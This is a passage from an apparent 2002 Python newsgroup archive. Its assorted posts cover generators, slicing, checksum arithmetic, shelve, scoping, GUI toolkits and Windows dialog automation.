Suzi -- \_ Russia \_ Karelia \_ Petrozavodsk \_ rnd at onego.ru \_ \_ Sunday, May 19, 2002 \_ Powered by Linux RedHat 7.2 \_ \_ "It's not the principle of the thing, it's the money" \_ From jb at cascade-sys.com Thu May 2 07:06:46 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Thu, 02 May 2002 04:06:46 -0700 Subject: Newbie: finding the key/index of the min/max element References: Message-ID: <3CD11DC5.CF5C3124@cascade-sys.com> Mark McEahern wrote: > [James J. Besemer] > > It strikes me as somewhat arbitrary that "newbie" questions or comments > > about language features are so irritating while answering newbie questions > > over and over about how to split a text line into fields (or to measure > > performance) is not. > > Is it really that arbitrary? (a) "Somewhat" not completely. (b) But it's significantly more arbitrary in a context where quite a few language additions, revisions and extensions are routinely being discussed. I submit that it's not possible even for smart people to tell the difference WITHOUT either having been here or having some kind of FAQ to come up to speed. I agree block delimiters are stupid. But what about bool? What about +=? Both used to be shunned but now they're in the language. I'm sure there are a lot of people here who expressed frustration in the past over the topic of the need for "bool" being brought up over and over again. Unless you know Guido's mind (and a suprising number here appear to presume to) who's to say a ternary operator couldn't someday be added? According to the PEP a fortune cookie figured in the decision for bool. And anyway, if some questions persist in coming up over and over -- don't you have to put your own prejudice aside and ask if maybe there's a point? If nothing else, how is a newcomer supposed to know that it's a silly suggestion? Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From eppstein at ics.uci.edu Sat May 11 00:52:30 2002 From: eppstein at ics.uci.edu (David Eppstein) Date: Fri, 10 May 2002 21:52:30 -0700 Subject: grokking generators and iterators References: <3CDCAEDC.2030103@horvath.com> Message-ID: In article <3CDCAEDC.2030103 at horvath.com>, Bob Horvath wrote: > I don't think it matters what the format is. It is a repeating pattern > of 5 lines. > > How would you suggest writing a generator that spits out 5 line chunks > of a file at a time? def fiveatatime(L): L = iter(L) while 1: yield (L.next(),L.next(),L.next(),L.next(),L.next()) then call fiveatatime(file) This will group each five line chunk into a tuple of five strings. It will throw away lines at the end that are not a multiple of five -- you need to specify more carefully what to do if that is a problem. -- David Eppstein UC Irvine Dept. of Information & Computer Science eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/ From emile at fenx.com Fri May 10 10:30:37 2002 From: emile at fenx.com (Emile van Sebille) Date: Fri, 10 May 2002 14:30:37 GMT Subject: What Exceptions are there? (was: "a better input") References: <080520021314438230%alexis.layton@post.harvard.edu> <1_tC8.40668$zW3.442583@news1.tin.it> <100520021023459171%pecora@anvil.nrl.navy.mil> Message-ID: Louis M. Pecora > Ok, you knew there was an exception of that type (ValueError), but is > there a way to get a list of exceptions in a Python module or in the > main Python core? There are probably zillions. dir(__builtins__) gives you a good start. -- Emile van Sebille emile at fenx.com --------- From david.abrahams at rcn.com Tue May 21 11:26:59 2002 From: david.abrahams at rcn.com (David Abrahams) Date: Tue, 21 May 2002 11:26:59 -0400 Subject: [Python-Dev] [development doc updates] References: <20020521150555.2B93C18EB28@grendel.zope.com> Message-ID: <02e301c200db$fcdf84e0$6601a8c0@boostconsulting.com> ----- Original Message ----- From: "Fred L. Drake" To: ; ; Sent: Tuesday, May 21, 2002 11:05 AM Subject: [Python-Dev] [development doc updates] > The development version of the documentation has been updated: > > http://www.python.org/dev/doc/devel/ > > Experimental change: Add some really heavy markup in function signatures > so that when the signature line is wrapped because the browser window is > too narrow, the argument list will wrap to the left parenthesis opening the > argument list. Cool idea! I'm going to have to steal it... after you fix it ;-) On IE6, the doc for excepthook at http://www.python.org/dev/doc/devel/lib/module-sys.html looks like this when wrapped: excepthook type, value, ( traceback) -Dave From robin at jessikat.fsnet.co.uk Mon May 27 14:36:41 2002 From: robin at jessikat.fsnet.co.uk (Robin Becker) Date: Mon, 27 May 2002 19:36:41 +0100 Subject: Checksum code Message-ID: I'm having problems with the following contributed code in 2.2, but not 2.1. I suspect that the Python 2.2 changes to int/long in the following code are causing the problem. Is it true that int overflow is now gone? If the answer is yes do I do conditional code or is there some neat 2.2 way to do this without ever getting into longs? checkSum = calcChecksum(self._data) checkSum = _add32(0xB1B0AFBA, -checkSum) where def _add32(x, y): "Calculate (x + y) modulo 2**32" try: return x + y except OverflowError: lo = (x & 0xFFFF) + (y & 0xFFFF) hi = (x >> 16) + (y >> 16) + (lo >> 16) return (hi << 16) | (lo & 0xFFFF) def calcChecksum(stream): """Calculates PDF-style checksums""" if len(stream) & 3: stream = stream + "\0\0\0" stream = stream[:len(stream)&~3] sum = 0 for n in unpack(">%dl" % (len(stream)/4), stream): try: sum = sum + n except OverflowError: # This is just (sum + n) with overflow ignored lo = (sum & 0xFFFF) + (n & 0xFFFF) hi = (sum >> 16) + (n >> 16) + (lo >> 16) sum = (hi << 16) | (lo & 0xFFFF) return sum -- Robin Becker From rjones at ekit-inc.com Tue May 14 06:30:20 2002 From: rjones at ekit-inc.com (Richard Jones) Date: Tue, 14 May 2002 20:30:20 +1000 Subject: Problem using VC6sp5 to compile extensions - PyObject_HEAD_INIT In-Reply-To: <20020514123339.C6254@phd.pp.ru> References: <200205141620.52564.rjones@ekit-inc.com> <20020514123339.C6254@phd.pp.ru> Message-ID: <200205142030.20138.rjones@ekit-inc.com> On Tue, 14 May 2002 18:33, Oleg Broytmann wrote: > On Tue, May 14, 2002 at 04:20:52PM +1000, Richard Jones wrote: > > kjbucketsmodule.c(3301) : error C2099: initializer is not a constant > > Well-known problem. > > > http://groups.google.com/groups?hl=en&safe=off&q=initializer+is+not+a+const >ant&btnG=Google+Search&meta=group%3Dcomp.lang.python.%2A *blush* searched for the wrong thing. Thanks! Richard From logstx at bellatlantic.net Sat May 11 16:31:52 2002 From: logstx at bellatlantic.net (logistix) Date: Sat, 11 May 2002 20:31:52 GMT Subject: __getitem__, __getslice__ question for python 2.2 References: <3CDD412D.3000805@erols.com> Message-ID: Builtin types don't accept slice objects for some reason. You need to manually test to see if you got a slice or an int. If it's a slice, you'll probably need to use list.__getslice__ for it to work now, but you don't need a seperate method in the test class. Also, some people don't like to use isinstance, but I'm not sure how else to tell if you got an int. >>> import types >>> def testForSlice(index): ... if hasattr(index, "start"): ... print "It's a slice [%s:%s]" % (index.start, index.stop) ... elif isinstance(index, int): ... print "It's an int => %s" % index ... else: ... raise TypeError ... >>> testForSlice(1) It's an int => 1 >>> sl = slice(1,2) >>> testForSlice(sl) It's a slice [1:2] >>> sl = slice(2) >>> testForSlice(sl) It's a slice [None:2] >>> testForSlice(1.2) Traceback (most recent call last): File "", line 1, in ? File "", line 7, in testForSlice TypeError >>> -- - "Edward C. Jones" wrote in message news:3CDD412D.3000805 at erols.com... > In Python 2.2 the following code outputs [1, 2] but never gets to line 8: > > class test(list): > def __init__(self, data=[]): > list.__init__(self, data) > > def __getitem__(self, key): > print 'L8', key > return list.__getitem__(self, key) > > # def __getslice__(self, lo, hi): > # print 'L12', lo, hi > # return list.__getslice__(self, lo, hi) > > x = test([0,1,2,3,4]) > print x[1:3] > > If __getslice__ is uncommented, [1, 2] is output and line 12 is executed. > > What is going on here? What is the status of the deprecation of > __getslice__? How does this all relate to the new style classes? > > Thanks, > Ed Jones > From jwbaxter at spamcop.net Wed May 8 21:28:48 2002 From: jwbaxter at spamcop.net (John Baxter) Date: Wed, 08 May 2002 18:28:48 -0700 Subject: Has Red Hat helped or hurt? References: Message-ID: In article , Andrew McNamara wrote: > RedHat, if you're listening, it's things like this that are going to > make me dump RedHat off my systems before long. In my case, it's things like bogus compiler versions. The Python is livable, in many different ways. The compiler caused me to go back to 6.2 for quite a while on my laptop, and kept the company from using 7.0 at all (the boss also backed 7.0 off his laptop). --John From jschmitt at ati.com Fri May 24 15:28:36 2002 From: jschmitt at ati.com (John Schmitt) Date: Fri, 24 May 2002 12:28:36 -0700 Subject: win32 pop ups and button clicks Message-ID: I'm trying to automate a couple of windows things that insist on user interaction by popping up dialog boxes and waiting for button clicks. I want to write a program that will, given the text of the names of the dialog boxes and the text of the buttons, click them for me. I downloaded a program called 'clickoff.exe' which is pretty close to what I want. The only dialogs for which clickoff.exe won't work on are the driver install programs that complain about 'unsigned driver install' and the like. I've written my stuff in Python (using win32all, which is great!) so I'd like to write this in Python as well. I also looked at Mark Hammond's book (which has been very helpful) but couldn't find anything directly relevant to my problem. Is there previous work on this? I don't know if I'm googling for the right terms, but I can't come up with relevant links for it. Any pointers gratefully received. John -------------- next part -------------- An HTML attachment was scrubbed... URL: From arthur90277 at yahoo.com Wed May 15 13:42:45 2002 From: arthur90277 at yahoo.com (arthur lastmisa) Date: Wed, 15 May 2002 10:42:45 -0700 (PDT) Subject: Found a new interpreted language Message-ID: <20020515174245.35925.qmail@web21504.mail.yahoo.com> I am since a long time a programmer I find this product very interesting. I can execute interpreted code directly on my PC microprocessor http://www.hyperpanel.com/boot_direct.php3?ID=13810515 --------------------------------- Do You Yahoo!? LAUNCH - Your Yahoo! Music Experience -------------- next part -------------- An HTML attachment was scrubbed... URL: From aahz at pythoncraft.com Mon May 6 22:11:22 2002 From: aahz at pythoncraft.com (Aahz) Date: 6 May 2002 22:11:22 -0400 Subject: Python vs. Perl, which is better to learn? References: Message-ID: In article , Mark McEahern wrote: >[Peter Hansen] >> >> More out of curiosity than an intention of starting a flame war, but >> would someone post a snippet of twenty or so lines of Perl which they >> believe is "readable"? > >Does anyone know of research into what the criteria for readability >might be? Try finding the original ABC papers. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ See me at OSCON! I'm teaching Python for [Perl] Programmers, a fast intro for all experienced programmers (not just Perl). Early bird ends June 10. http://conferences.oreillynet.com/os2002/ From listuser at nicetomeetyou.to Fri May 17 01:15:24 2002 From: listuser at nicetomeetyou.to (Markus) Date: Fri, 17 May 2002 07:15:24 +0200 Subject: py2exe Service Error References: Message-ID: > ANY IDEAS???? If it's Windoze NT/2000/XP: Do you have the administrator role when you tried to install your script? -Markus From merkosh at hadiko.de Tue May 14 16:00:09 2002 From: merkosh at hadiko.de (Uwe Mayer) Date: Tue, 14 May 2002 22:00:09 +0200 Subject: beginner question: extending python types References: Message-ID: In article , aleax at aleax.it says... > Uwe Mayer wrote: > ... > > I want to force certain parameters of methods to be of a specific type, > > If you really want this, you chose the wrong language. Most languages > devote substantial amounts of mechanism to such 'bondage' issues. > > Python distinguishes itself from by far most languages by NOT doing > this, which is from where much of its extra power comes -- from where > much of the incredible productivity boost it gives programmers comes. I come from a Perl background and am familiar with an interpreter being fuzzy on types. However Python provides a much stronger support for OOP and overloading operators. I'm a little confused: In the python library reference they talk of "Iterator Types" while as far as I can see talking of a protocoll or an interface (as in Java) would be more appropriate. I like Pythons long integer arithmetrik: reduce(lambda x,y: x*y, range (1,10000)) actually returns a result! and IDLE is just what I need, so I would very unhappyly switch language. However I am not sure how to feel about this. The Java way would be to say: Ok, if it supports xyz interface I can work with it, but in python I'll just have to assume I'm passing the right operands later on. On the other hand I'd be investing much time in trying to keep my classes foolprove... > But if you want to do this, in Python you're "fighting city hall", going > against the grain of the language. Choose another. I recommend > Haskell, whose typing system is really wonderful. You'll get compile > time checking of your types, exactly as strong or weak as you want > it to be. Choosing Python and then going typechecking will reduce > or countermand Python's productivity gain AND still never get as far > nor as deep as a statically-checking language would -- a _good_ > one, at least (forget the mishmash mis-called a "type system" in > such languages as C++ or Java -- go for Haskell, or ML in some > variant or other). Haskell... does that sound like Gopher to me? Functional programming language? Hmmmm.... > I don't think you _need_ this typechecking, though I can't know your > situation enough to be sure. But whether you need it or not, if you're > going to use it, drop Python in favour of some statically-typechecked > functional language with a good typesystem. This is my advice. I'll rather skip the type checking. Python looks good so far. I'm just a little insecure on how to do things yet. Thanks for the response! Uwe From ajeru at vknn.org Fri May 10 23:07:57 2002 From: ajeru at vknn.org (Alexander Jerusalem) Date: 10 May 2002 20:07:57 -0700 Subject: wxPython References: Message-ID: <24c39b2c.0205101907.1442d097@posting.google.com> I recently downloaded wxPython and played around with it a bit. It worked immediately and it has an incredible wealth of widgets, low memory footprint and it's fast. It works on windows and unix. A mac version is being worked on. Regards "A. Keyton Weissinger" wrote in message news:... > Hi Folks, > > I am beginning work on what will likely turn into a fairly large GUI-based > application and would like your thoughts on which library to use: > > A) Tk Only > B) Tk with Python Mega-widgets or similar (i.e. Tk with some other stuff) > C) Qt (BlackAdder just announced the incorporation of Qt3 into BA) > D) wxPython > > I want to get the best combination of easiest to install most feature rich > and do not have enough experience with the non-Tk libraries. > > Thank you!!!! > > Keyton From huaiyu at gauss.almadan.ibm.com Mon May 20 14:06:00 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Mon, 20 May 2002 18:06:00 +0000 (UTC) Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> Message-ID: Steve Holden wrote: >I believe (without any worked-out justification) that Python could actually >perform exactly the same comutations as it does now even if lists were >removed: it would simply be more awkward and less efficient to compute with >tuples, which are immutable. a = [1, 2, 3] b = a b += [4, 5, 6] print a To achieve this with tuples you need to wrap them up in some other objects, which is effectively another implementation of lists. >If sets were to become a Python type I would expect that it would be useful >to have both mutable and immutable variants, in just the same way as the >sequences do. That is indeed the most sensible solution. I'd even argue for two flavors of dicts and two flavors of strings, too. When two related things have different advantages over each other under different circumstances, it is fruitless to argue which should be the ONE. Better to have both. It might even be easier to implement two flavors of everything if *every kind* of object has a mutability flag. Huaiyu From loewis at informatik.hu-berlin.de Sun May 5 13:05:21 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 05 May 2002 19:05:21 +0200 Subject: making python scripts backwards compatible References: Message-ID: "Brian Quinlan" writes: > Determining your version requirements is too much to ask. I wrote the > module is question and, before reading this thread, I had no idea what > the version requirements were (1). Are patch writers also required to > test against multiple Python versions? Not at all. Any library module must only work with the Python version that it ships with. It is up to the author of the module to impose stronger portability requirements. E.g. Fredrik Lundh requires that SRE continues to work with Python 1.5.2 and later; I require that the PyXML code (minidom, pyexpat) works with Python 2.0 and later. If you want to change SimpleXMLRPCServer to work with earlier Python version, feel free to, but it is not required. Regards, Martin From webmaster at apologetyka.com.pl Fri May 3 08:17:48 2002 From: webmaster at apologetyka.com.pl (Jaros³aw Zabie³³o (delete .PL)) Date: Fri, 03 May 2002 14:17:48 +0200 Subject: Multidimensional arrays - how? Message-ID: <6vv4du8mu1hj59k7g0uq58r24mp74g02hu@4ax.com> How to create multidimmensional arrays in Python? I tried: x = [] book, chapter, para = 0,0,0 x[book][chapter][para] = 'text0' book, chapter, para = 0,0,1 x[book][chapter][para] = 'text1' This code does not work in Python :-( but (with slightly changings) works in PHP, C, C++ or Pascal). -- Jaros?aw Zabie??o (UIN: 6712522) URL: http://3585753410/~zbiru From wweexxsseessssaa at telusplanet.net Mon May 13 19:14:23 2002 From: wweexxsseessssaa at telusplanet.net (John Hall) Date: Mon, 13 May 2002 23:14:23 GMT Subject: Scope in 2.2.1 References: <83bsbjk5v7.fsf@panacea.canonical.org> Message-ID: <3sh0euk7ge5qemsddbgdp2o7jk5v02i0n1@4ax.com> On 13 May 2002 19:03:40 -0400, Kragen Sitaker wrote: >>"they're not seen yet unless they're forward declared. > >Yes; unfortunately, this doesn't work in Python because Python doesn't >have declarations, forward, backward, inside, outside, or upside down, >except for the "global" statement. If Python had declarations, we >could avoid this whole mess... Why have two-pass compilers gone out of style? Most of them are so fast that the cost of another pass would probably be trivial, compared to the advantages. With that, it would not need forward declarations. Forwars declarations are more work for programmers, and might be more work than another pass for the compiler. (I haven't looked inside a compiler since the IBM S/360 BAL days, so I'm speaking from ignorance.) -- John W Hall Calgary, Alberta, Canada. "Helping People Prosper in the Information Age" From mark at mceahern.com Wed May 8 17:40:26 2002 From: mark at mceahern.com (Mark McEahern) Date: Wed, 8 May 2002 16:40:26 -0500 Subject: comparing lists Message-ID: Suppose I want to do a boolean comparison (equal or not equal) of two lists case-insensitively and I don't care about order. I can do this: 1. Create temporary copies that are lowercased and use the in operator: 2. Sort temporary copies, then then compare them. Are there other options? Is there a strong reason to prefer one approach over the other? Sample code below. Thanks, // mark #! /usr/bin/env python l = ['a', 'b', 'c'] m = ['C', 'B', 'A'] def lower(l): return [x.lower() for x in l] def compare_with_in(l, m): assert(len(l) == len(m)) t1 = lower(l) t2 = lower(m) for x in t1: assert(x in t2) def compare_with_equals(l, m): t1 = lower(l) t2 = lower(m) t1.sort() t2.sort() assert(t1==t2) compare_with_in(l, m) compare_with_equals(l, m) From richard at NOstarfighterSPAM.freeuk.com Wed May 15 13:55:46 2002 From: richard at NOstarfighterSPAM.freeuk.com (Richard Townsend) Date: Wed, 15 May 2002 18:55:46 +0100 Subject: getting name of the function you're in References: <3CE295FF.2020202@packeteer.com> Message-ID: <1021485284.24344.0@eos.uk.clara.net> "Bob Purvy" wrote in message news:3CE295FF.2020202 at packeteer.com... > does anyone know how to do this? I asked our resident Python guru and > he didn't know. Also searched the docs reasonably thoroughly. > > it's for logging debug info to a custom log file. > > (I should mention that currently I'm on 2.0. Will move to 2.2 shortly, > so a 2.2-only answer is still useful.) > I don't know if there is an easier way, but this works for me: import sys def my_func(): # Raise an exception so we can get a traceback try: raise ZeroDivisionError except ZeroDivisionError: # Get the traceback object tb = sys.exc_info()[2] # Get the stack frame object for this function f = tb.tb_frame # Get the code object from the frame object co = f.f_code # Get the module and function # names from the code object module_name = co.co_filename function_name = co.co_name print module_name, function_name if __name__ == '__main__': my_func() If you move the functionality into its own function, you can use the stack frame object's f_back attribute to navigate to previous stack frame. From fperez528 at yahoo.com Thu May 23 01:35:29 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Wed, 22 May 2002 23:35:29 -0600 Subject: OT: off-topic References: <3CEC6B59.3E125BF2@replyto.address.invalid> Message-ID: Greg Ewing wrote: > Why stop at a Python-specific solution? Off-topic > postings are a problem in all newsgroups, so I > propose a single group: > > news.off-topic > > for all off-topic posts on any subject. The only > trouble is that, in that group, off-topic posts > would be on topic, and therefore not suitable > for news.off-topic... excuse me, my brain is > about to explode... > Very nice :) Basically you got the Russell paradox (more or less), which turned set theory on its head at the turn of the century. Cheers, f. From cliechti at gmx.net Thu May 16 17:15:21 2002 From: cliechti at gmx.net (Chris Liechti) Date: 16 May 2002 23:15:21 +0200 Subject: Leading zeroes problem References: <3ce41ce2_1@goliath2.newsgroups.com> Message-ID: jb wrote in news:3ce41ce2_1 at goliath2.newsgroups.com: > How do I get '00.0' from 0.0. I can say '%03d' % 0 but with floating > point numbers this does not work. (python 2.2, win32) >>> "%04.1f" % 0 '00.0' chris -- Chris From kragen at pobox.com Wed May 15 20:27:05 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 15 May 2002 20:27:05 -0400 Subject: OO, complexity and toons... References: <409a56e2.0205131255.104a509f@posting.google.com> <409a56e2.0205141110.7d94dc9b@posting.google.com> Message-ID: <83y9el0wfa.fsf@panacea.canonical.org> shagshag13 at yahoo.fr (Shagshag) writes: > I agree with you, it's more about relational databases than > oo-programming, but i really need to work on this kind of data > structures (there is something about studying inverted files/index and > algorithms...) > > And, as i'm a real newbie in python and OOP, i would like to be sure > that python could handle this amount of data, and still be quite > effective in search. > > So do you think my first idea is viable ? How, if you had to, will you > design it in OO style ? So your question is, "How do I implement a scalable RDBMS in Python, if that's even possible?" You could look at Gadfly to see whether it's possible to do this in-memory. I haven't done this kind of stuff myself, but I don't think it should be more difficult in Python than in other languages, and my uninformed guess is that you should be able to get quite acceptable performance for the dataset sizes you were discussing. Certainly you should be able to get performance on modern machines in pure Python that rivals what you could get on 1990 machines in assembler or C. From missive at frontiernet.net Thu May 30 22:00:00 2002 From: missive at frontiernet.net (Lee Harr) Date: Fri, 31 May 2002 02:00:00 -0000 Subject: What am I doing wrong? References: Message-ID: > But I am trying to follow the examples in Learning Python which instructs > > % cat threenames.py > [example code] > This is just for reading the script (looking at it) and has nothing to do with python. > but the only prompt I get is the >>>. If I type % cat threenames.py after > that prompt I get this, > File "", line 1 > % cat threenames.py > ^ > SyntaxError: invalid sytax > >>> > > So, what am I missing here? I am pouring other the various Python books I > have and I can't see what I am doing wrong. I figure it is something > straight foward, I just don't know what it is. If anyone could help me > here, I would appreciate it. > Try: python threenames.py From kragen at pobox.com Wed May 22 02:23:25 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 22 May 2002 02:23:25 -0400 Subject: rfc822 module: deleting headers References: Message-ID: <83g00kituq.fsf@panacea.canonical.org> "Jason R. Mastaler" writes: > As you can see, I attempt to remove the 'Message-ID' header before > exiting 0, which causes qmail to skip to the next line in my .qmail > file, which writes the message to my mailbox. I think you will find that qmail-local delivers the original message to your mailbox, not anything produced by the delivery program you invoke. If you want the corrupted message in your mailbox, you will have to put it there, for example by feeding it to qmail-inject with a different envelope-recipient address, or by invoking qmail-local yourself. From pyth at devel.trillke.net Tue May 7 18:16:23 2002 From: pyth at devel.trillke.net (holger krekel) Date: Wed, 8 May 2002 00:16:23 +0200 Subject: survey: is shelve broken? should it be fixed? In-Reply-To: <02050723584800.09434@arthur> References: <60FB8BB7F0EFC7409B75EEEC13E20192215173@admin56.narex.com> <02050723584800.09434@arthur> Message-ID: <20020507221623.GP4604@devel.trillke> Alex Martelli wrote: > On Tuesday 07 May 2002 21:28, Bjorn Pettersen wrote: > ... > > +1 if it also prints 2 as the result of the last expression below (and > > if it remains 2 after I close and re-open the shelve): > > >>> import shelve > > >>> s = shelve.open('ciao','c') > > >>> class Foo: > > > > ... def __init__(self, x): > > ... self.x = x > > ... > > > > >>> class Bar: > > > > ... def __init__(self, y): > > ... self.y = y > > ... > > > > >>> s['bye'] = Foo(Bar(1)) > > >>> s['bye'].x.y = 2 > > >>> s['bye'].x.y > > > > 1 > > > > > > Seems like a "real" OODBMS might be the only thing that would count as > > unsurprising in this case though? > > That's what I see using my patch (corrected for a bug after I posted it to > sf): > > [alex at lancelot Lib]$ python > Python 2.2.1 (#1, Apr 15 2002, 17:55:14) > [GCC 2.96 20000731 (Mandrake Linux 8.1 2.96-0.62mdk)] on linux2 > Type "help", "copyright", "credits" or "license" for more information. > >>> import shelve > >>> s=shelve.open('ciao','c',smart=1) > >>> class Foo: > ... def __init__(self, x): self.x=x > ... > >>> class Bar: > ... def __init__(self, y): self.y=y > ... > >>> s['bye']=Foo(Bar(1)) > >>> s['bye'].x.y=2 > >>> s['bye'].x.y > 2 > >>> s.close() > >>> s=shelve.open('ciao','c',smart=1) > >>> s['bye'].x.y > 2 > >>> Might i ask whether you read my suggestion to implement the "smart"-switch at the global module level? holger From lists at weissinger.org Mon May 13 20:34:15 2002 From: lists at weissinger.org (A. Keyton Weissinger) Date: Mon, 13 May 2002 20:34:15 -0400 Subject: [ANN] Puffin: Web Application Testing Framework In-Reply-To: Message-ID: Greetings and salutations! I've sent this to the Announcements list, but there seems to be just as many announcements on this list. So I figured I'd drop this one-time note in here as well. What is Puffin? Puffin allows you to test any web application or service. Once customized to your web application, you can use Puffin to unit test individual web pages, system test your entire web application, or load test your entire site. You can find out more about Puffin at http://puffin.sourceforge.net. You can either download the latest stable release (0.8.9) or retrieve the latest snapshot from CVS (recommended -- lots of bugfixes and some MySQL support). The documentation is in the process of being updated, but check out the current User's Guide, nonetheless (http://puffin.sourceforge.net/puffindocs/UserGuide.htm). It gives the ins and outs of all that Puffin can do. Be sure to watch IBM's developerWorks for a series of articles coming up on Puffin as well! I'm looking for any and every way I can make Puffin better. So don't hesitate to contact me if you find a bug or think of a feature you want. I will make whatever time is required to make Puffin better fit your needs and its purpose! Thank you! Keyton From joost_jacob at hotmail.com Fri May 24 15:37:44 2002 From: joost_jacob at hotmail.com (J.Jacob) Date: 24 May 2002 12:37:44 -0700 Subject: article on Python modules: critique? References: Message-ID: <13285ea2.0205241137.5c24d72d@posting.google.com> Ahh the useless site is going to be active again? great ! Joost FORTUNE'S FUN FACTS TO KNOW AND TELL: #14 The Baby Ruth candy bar was not named after George Herman "The Babe" Ruth, but after the oldest daughter of President Grover Cleveland. From phd at phd.pp.ru Tue May 21 05:39:40 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Tue, 21 May 2002 13:39:40 +0400 Subject: "One Bullet is never enough" Paper In-Reply-To: <3CE9BC7F.A3565ADE@tundraware.com>; from tundra@tundraware.com on Tue, May 21, 2002 at 03:20:06AM +0000 References: <3CE5AFD3.32D59F@tundraware.com> <3CE68BAA.726DA1A6@engcorp.com> <3CE88785.B9042718@tundraware.com> <838z6epblf.fsf@panacea.canonical.org> <3CE9BC7F.A3565ADE@tundraware.com> Message-ID: <20020521133940.H7968@phd.pp.ru> Hello! On Tue, May 21, 2002 at 03:20:06AM +0000, Tim Daneliuk wrote: > I would note several things: Wow! Very nice and reasonable!! Thank you very much for the post!!! > 1) "Lock" happens when the cost to replace the sum total of the system > components (hardware, software, networking, and most importantly, > data) is not justified by some reasonable economic measure. Unfortunately, there are managers who, despite economic evidence, eat ADs and FUD ("We don't want any linux in our office because it is text OS"). > 4) Nothwistanding all the Microsoft-bashing so fashionable these days, it > is interesting to note that there are *more* languages, operating systems, > and hardware platforms from which to choose than ever before. Hm... When my children go to the nearset shop and buy games there, the games are, by strange accident, always for Windows, DirectX, often "optimized" for GeForce video card, etc. Now, what hardware and software should I choose for my home PC? :) Isn't it "lock"? > 5) Every vendor has tried to achieve account control in some manner. MS, IBM, > Sun, Oracle, et al play this game at fearsome levels. However, they > never manage to quite succeed because per 2) above, real IT problems > cannot be solved with a single-vendor solution. [skip] > So, I wouldn't worry too much about C# locking users in. I'd worry more > (if you object to Microsoft's further success - I don't) I don't worry about their success - I worry about their power. They play unlawful games, they lobbying to chnage the very law - that's scary. I want to put them back unto lawful road, and then hope that your point 5 will be applied to them. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From max at malva.com.uaREMOVE.IT Tue May 21 04:00:10 2002 From: max at malva.com.uaREMOVE.IT (Max Ischenko) Date: Tue, 21 May 2002 11:00:10 +0300 Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> <4f52f844.0205171428.50029adc@posting.google.com> Message-ID: Paul Graham wrote: > Thanks to several people who have sent me Python > "translations" for the following: > > def foo(n): > s = [n] > def bar(i): > s[0] += i > return s[0] > return bar > but it is considered ugly, and the canonical way to > do this seems to be by defining a class: > class foo: > def __init__(self, n): > self.n = n > def __call__(self, i): > self.n += i > return self.n In case anyone interested further in subject check out http://www.paulgraham.com/icad.html -- panic("kmem_cache_init(): Offsets are wrong - I've been messed with!"); 2.2.16 /usr/src/linux/mm/slab.c From gustav at morpheus.demon.co.uk Thu May 23 11:31:14 2002 From: gustav at morpheus.demon.co.uk (Paul Moore) Date: Thu, 23 May 2002 17:31:14 +0200 Subject: Running code as __main__ References: <7kluzyzt.fsf@morpheus.demon.co.uk> Message-ID: <3cwizxt9.fsf@morpheus.demon.co.uk> Paul Moore writes: > I'm writing an application which needs to execute some Python code > which is in a string, as if it were a main program. Specifically, I > want to be sure that constructs like "if name == __main__:" work as > expected. Sorry for following up to my own post, but I think I found the answer, as a result of fixing a different issue... def runcode(code, filename): toplevel = sys._getframe() while toplevel.f_back: toplevel = toplevel.f_back codeobj = compile(code, filename, 'exec') exec codeobj in toplevel.f_globals, toplevel.f_locals This seems to work fine. Can anyone see any pitfalls or issues with this approach? Thanks, Paul. From tdelaney at avaya.com Wed May 8 20:44:22 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Thu, 9 May 2002 10:44:22 +1000 Subject: comparing lists Message-ID: > From: Lulu of the Lotus-Eaters [mailto:mertz at gnosis.cx] > > You can always sort the lists before joining them. Or sort copies if > you need to leave the originals as-s. I.e. > > ltmp = copy.copy(lst) > ltmp.sort() > > l1 = ['ab ','c',' d'] > l2 = ['ab',' c ','d'] > l3 = ['ab c d'] That won't work - you need to perform the case-conversion before the sort. > These will all compare as equal. What you probably want to > do is add a > delimiter between the elements that you are pretty sure will not occur ^^^^^^^^^^^ > in the original strings, e.g.: > > >>> string.join(['a','b','c'],'$%^').upper() > 'A$%^B$%^C' > > or, > > >>> '|-|'.join(['a','b','c']).upper() > 'A|-|B|-|C' Make that 100% certain will not occur in the original strings ... I would suggest just sticking with converting to lowercase, sorting, then comparing. l1 = ['a', 'b', 'c'] # or any iterable l2 = ['C', 'a', 'B'] # or any iterable l1 = map(string.lower, l1) # or l1 = [x.lower() for x in l1] l2 = map(string.lower, l2) # or l2 = [x.lower() for x in l2] l1.sort() l2.sort() assert(l1 == l2) Tim Delaney From op73418 at mail.telepac.pt Wed May 8 21:02:25 2002 From: op73418 at mail.telepac.pt (Gonçalo Rodrigues) Date: Thu, 09 May 2002 02:02:25 +0100 Subject: no pickling code objects? Message-ID: <4vhjdugv3kfd0m4359lkqctmn25ia44cae@4ax.com> Hi, On the docs on the pickle module it says that code objects can not be pickled, this in turn implies some limitations on the pickleability (man, I like this word!) of some objects. The docs mention security reasons for this choice. But somehow this doesn't feel right. Shouldn't the secuity concerns be left to the programmers? After all Python already has exec*. Is there something I am missing? I am asking this mainly from curiosity, I am in no need of such a feature. And then again, If I had the time and the knowedge + skill to come up with a patch... Gon?alo Rodrigues *And after after all, I am writing this from home in a Windows system - can't get any worse than that ;-) From nacor at directo.cl Tue May 28 11:00:46 2002 From: nacor at directo.cl (Nacor) Date: Tue, 28 May 2002 11:00:46 -0400 Subject: revisa References: <3CD5097E00109872@mail.chilesat.net> (added by netadmin@chilesat.net) Message-ID: <00d001c20658$86b9afc0$51000096@ssmaule.cl> Revisa tus archivos antes de enviarlos, debido a que me enviaste uno infectado. -------------- next part -------------- An HTML attachment was scrubbed... URL: From simon at nospam.demon.co.uk Sat May 4 19:00:34 2002 From: simon 